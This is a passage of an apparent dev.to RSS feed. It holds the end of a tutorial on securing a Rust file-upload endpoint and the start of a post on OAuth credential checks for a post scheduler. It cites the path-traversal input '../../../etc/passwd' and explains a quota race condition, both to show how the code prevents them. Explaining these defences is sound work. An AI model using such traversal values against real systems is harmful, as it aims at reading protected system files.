&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;validate_magic_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;mime_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allowed_mime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;magics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ALLOWED_TYPES&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;allowed_mime&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;mime_type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;magic&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;magics&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="nf"&gt;.starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Return the verified extension&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nb"&gt;None&lt;/span&gt; &lt;span class="c1"&gt;// Content-Type claimed a valid MIME but binary doesn't match — reject&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function does two things at once. First, it checks that the claimed &lt;code&gt;Content-Type&lt;/code&gt; is on our whitelist. Second, it verifies that the actual binary content matches the claimed format. A renamed executable will fail this check because its binary signature will never match &lt;code&gt;FF D8 FF&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 3: UUID-Based Storage Keys (Path Traversal Prevention)
&lt;/h2&gt;

&lt;p&gt;Even after validating the file content, we never use the client-supplied filename to construct the storage key. A filename like &lt;code&gt;../../../etc/passwd&lt;/code&gt; — known as a &lt;strong&gt;Path Traversal&lt;/strong&gt; attack — could theoretically escape the intended storage directory.&lt;/p&gt;

&lt;p&gt;Our solution is to discard the original filename entirely and generate a random UUID as the storage key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The raw client filename is intentionally discarded.&lt;/span&gt;
&lt;span class="c1"&gt;// UUID-based key — fully immune to path traversal.&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;file_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"dotsuite/scheduled_posts/{}.{}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;Uuid&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new_v4&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extension comes from our &lt;code&gt;validate_magic_bytes&lt;/code&gt; function — not from the client. The full storage path is entirely server-generated. The user's filename never touches the storage layer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 4: Atomic Quota Enforcement (Closing the Race Condition)
&lt;/h2&gt;

&lt;p&gt;This is where it gets subtle. Our initial quota check looked reasonable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ The naive (broken) approach&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="py"&gt;.images_used&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Read from DB&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;image_quota&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quota_exceeded_error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ... upload the file ...&lt;/span&gt;
&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="nf"&gt;.increment_images_used&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Write to DB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The flaw:&lt;/strong&gt; there is a window between the read and the write. If two upload requests arrive simultaneously from the same user whose quota counter is at &lt;code&gt;limit - 1&lt;/code&gt;, both will read &lt;code&gt;current &amp;lt; limit&lt;/code&gt;, both will pass the check, and both will upload — incrementing the counter to &lt;code&gt;limit + 1&lt;/code&gt;. The quota is silently bypassed.&lt;/p&gt;

&lt;p&gt;We had already solved this exact pattern in our &lt;code&gt;schedule_post&lt;/code&gt; route using MongoDB's &lt;code&gt;find_one_and_update&lt;/code&gt; — an atomic operation that combines the check and the increment in a single database command. We applied the same fix here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/routes/media.rs&lt;/span&gt;

&lt;span class="c1"&gt;// ── Atomic quota check + slot reservation ────────────────────────────────&lt;/span&gt;
&lt;span class="c1"&gt;// find_one_and_update eliminates the race condition: the check and the&lt;/span&gt;
&lt;span class="c1"&gt;// increment are a single atomic MongoDB operation, not two separate ones.&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;quota_filter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="py"&gt;.tier&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nn"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Free&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;mongodb&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s"&gt;"$expr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$lt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"$images_used"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;image_quota&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;i64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Paid tiers have no hard cap — we still track for analytics.&lt;/span&gt;
    &lt;span class="nn"&gt;mongodb&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;reserved&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;users_col&lt;/span&gt;
    &lt;span class="nf"&gt;.find_one_and_update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;quota_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;mongodb&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$inc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"images_used"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;reserved&lt;/span&gt;&lt;span class="nf"&gt;.is_none&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Forbidden&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Image upload quota reached ({}/{} uploads). Upgrade to Basic for unlimited uploads."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="py"&gt;.images_used&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;image_quota&lt;/span&gt;
    &lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The database becomes the single source of truth. No two concurrent requests can both pass the quota gate because MongoDB guarantees the atomicity of &lt;code&gt;findOneAndUpdate&lt;/code&gt; at the document level.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 5: The R2 Upload &amp;amp; Quota Rollback
&lt;/h2&gt;

&lt;p&gt;After the quota slot is reserved, we upload to Cloudflare R2 via the AWS S3-compatible SDK. But there is one more edge case: what if the R2 upload fails &lt;em&gt;after&lt;/em&gt; we have already incremented the quota counter? The slot was reserved but no file was stored — the user's quota is penalised for a failure that wasn't their fault.&lt;/p&gt;

&lt;p&gt;To handle this cleanly, we perform a &lt;strong&gt;rollback&lt;/strong&gt; on R2 failure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;upload_result&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;error!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Failed to upload to R2: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Rollback: return the slot so the quota isn't wasted.&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;rollback&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;users_col&lt;/span&gt;
        &lt;span class="nf"&gt;.update_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="nn"&gt;mongodb&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="nn"&gt;mongodb&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$inc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"images_used"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1i32&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rb_err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rollback&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;error!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Failed to rollback images_used for user {}: {}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rb_err&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Internal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;anyhow&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;anyhow!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Failed to upload media to cloud storage"&lt;/span&gt;
    &lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rollback is best-effort — we log a critical error if it fails, but we do not surface the rollback failure to the client.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Complete Security Stack
&lt;/h2&gt;

&lt;p&gt;Here is what runs on every single upload request, in order:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Rejects&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Bearer JWT middleware&lt;/td&gt;
&lt;td&gt;Unauthenticated requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;DefaultBodyLimit&lt;/code&gt; (10 MB)&lt;/td&gt;
&lt;td&gt;Oversized requests before parsing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Handler check (5 MB)&lt;/td&gt;
&lt;td&gt;Files within the body but over the per-file limit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Magic bytes validation&lt;/td&gt;
&lt;td&gt;Wrong MIME type, renamed executables, corrupted files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Atomic &lt;code&gt;find_one_and_update&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Quota-exceeded requests (race-condition-free)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;UUID storage key&lt;/td&gt;
&lt;td&gt;Path traversal attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;R2 upload + rollback&lt;/td&gt;
&lt;td&gt;Storage failures without wasting quota&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;None of these layers is sufficient alone. Together, they form a defence-in-depth pipeline where each layer assumes the previous one could have been bypassed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Building a production-grade file upload endpoint is deceptively complex. The surface-level logic — receive file, save to storage — takes an hour. The hardening takes days.&lt;/p&gt;

&lt;p&gt;The three biggest lessons from this build:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Never trust &lt;code&gt;Content-Type&lt;/code&gt;.&lt;/strong&gt; A header is a claim, not a proof. Always read the raw binary signature of the file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;A quota check and a quota increment must be one atomic operation.&lt;/strong&gt; Two database calls — even milliseconds apart — create a race window that determined users will find and exploit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reserve resources before the expensive operation, and roll back on failure.&lt;/strong&gt; Incrementing the quota counter before the R2 upload, with a decrement on failure, is always safer than incrementing after a success that might never be recorded.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;POST /v1/media/upload&lt;/code&gt; endpoint is now a vault. In Part 4, we will build the Next.js scheduling UI that calls it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(If you haven't read the previous deep dives, check out the full &lt;a href="https://dev.to/freerave/series/40071"&gt;Ship on Schedule Series&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>security</category>
      <category>cloudflare</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Building DotShare 3.3: A Fail-Fast Rust Scheduler with Background OAuth Auto-Refresh (Part 2)</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Mon, 25 May 2026 06:46:15 +0000</pubDate>
      <link>https://dev.to/freerave/i-built-a-fail-fast-rust-scheduler-with-background-oauth-auto-refresh-part-2-314b</link>
      <guid>https://dev.to/freerave/i-built-a-fail-fast-rust-scheduler-with-background-oauth-auto-refresh-part-2-314b</guid>
      <description>&lt;p&gt;In &lt;a href="https://dev.to/freerave/i-built-a-private-rust-backend-to-power-18-developer-tools-heres-the-architecture-4lmc"&gt;Part 1 of this backend series&lt;/a&gt;, I broke down the core architecture of &lt;code&gt;dotsuite-core&lt;/code&gt; — a private Rust backend powering 18 developer tools, complete with multi-tier scheduling and the "Look-Ahead + Sleep" pattern.&lt;/p&gt;

&lt;p&gt;But as with any production system, solving one architectural challenge reveals the next. In our case: &lt;strong&gt;Silent Scheduling Failures and Expiring OAuth Tokens.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is a deep dive into how we implemented a &lt;strong&gt;Strict Separation&lt;/strong&gt; model, adopted a &lt;strong&gt;Fail-Fast&lt;/strong&gt; philosophy, and engineered a background worker in Rust to automatically refresh OAuth tokens before they expire.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: Doomed Scheduled Posts
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://open-vsx.org/extension/freerave/dotshare" rel="noopener noreferrer"&gt;DotShare&lt;/a&gt; allows developers to schedule social media posts directly from VS Code. Initially, our scheduling flow looked like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User writes a post in VS Code and clicks "Schedule".&lt;/li&gt;
&lt;li&gt;The Rust backend accepts the payload, deducts the monthly quota, and saves it as &lt;code&gt;Pending&lt;/code&gt; in MongoDB.&lt;/li&gt;
&lt;li&gt;The background cron scheduler wakes up at the right time to publish.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The Flaw:&lt;/strong&gt; What if the user hadn't connected their Twitter (X) or LinkedIn accounts via OAuth on the DotSuite dashboard yet?&lt;/p&gt;

&lt;p&gt;The scheduler would wake up, search the database for the user's OAuth tokens, find nothing, and inevitably fail. The user's quota was burned, the database was polluted with doomed posts, and the user woke up to a silent failure.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Decision: Strict Separation &amp;amp; Fail-Fast
&lt;/h2&gt;

&lt;p&gt;We needed a &lt;strong&gt;Strict Separation&lt;/strong&gt; between local VS Code execution and Cloud Scheduling. If you want the cloud to schedule it, the cloud &lt;em&gt;must&lt;/em&gt; have your OAuth tokens.&lt;/p&gt;

&lt;p&gt;Instead of catching the error during the background cron tick, we applied the &lt;strong&gt;Fail-Fast&lt;/strong&gt; principle right at the API gateway. The server must definitively verify the existence of the required platform credentials &lt;em&gt;before&lt;/em&gt; doing anything else.&lt;/p&gt;

&lt;p&gt;Here is the exact Rust code we added to our &lt;code&gt;schedule_post&lt;/code&gt; route to enforce this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/routes/posts.rs&lt;/span&gt;

&lt;span class="c1"&gt;// ── Pre-Quota: OAuth Credentials Validation ────────────────────────────&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;creds_col&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="py"&gt;.db.collection&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UserCredential&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"user_credentials"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Convert the requested platforms to BSON&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;platforms_bson&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Bson&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="py"&gt;.platforms&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nn"&gt;bson&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;to_bson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Query MongoDB for existing credentials&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;creds_col&lt;/span&gt;&lt;span class="nf"&gt;.find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"$in"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;platforms_bson&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

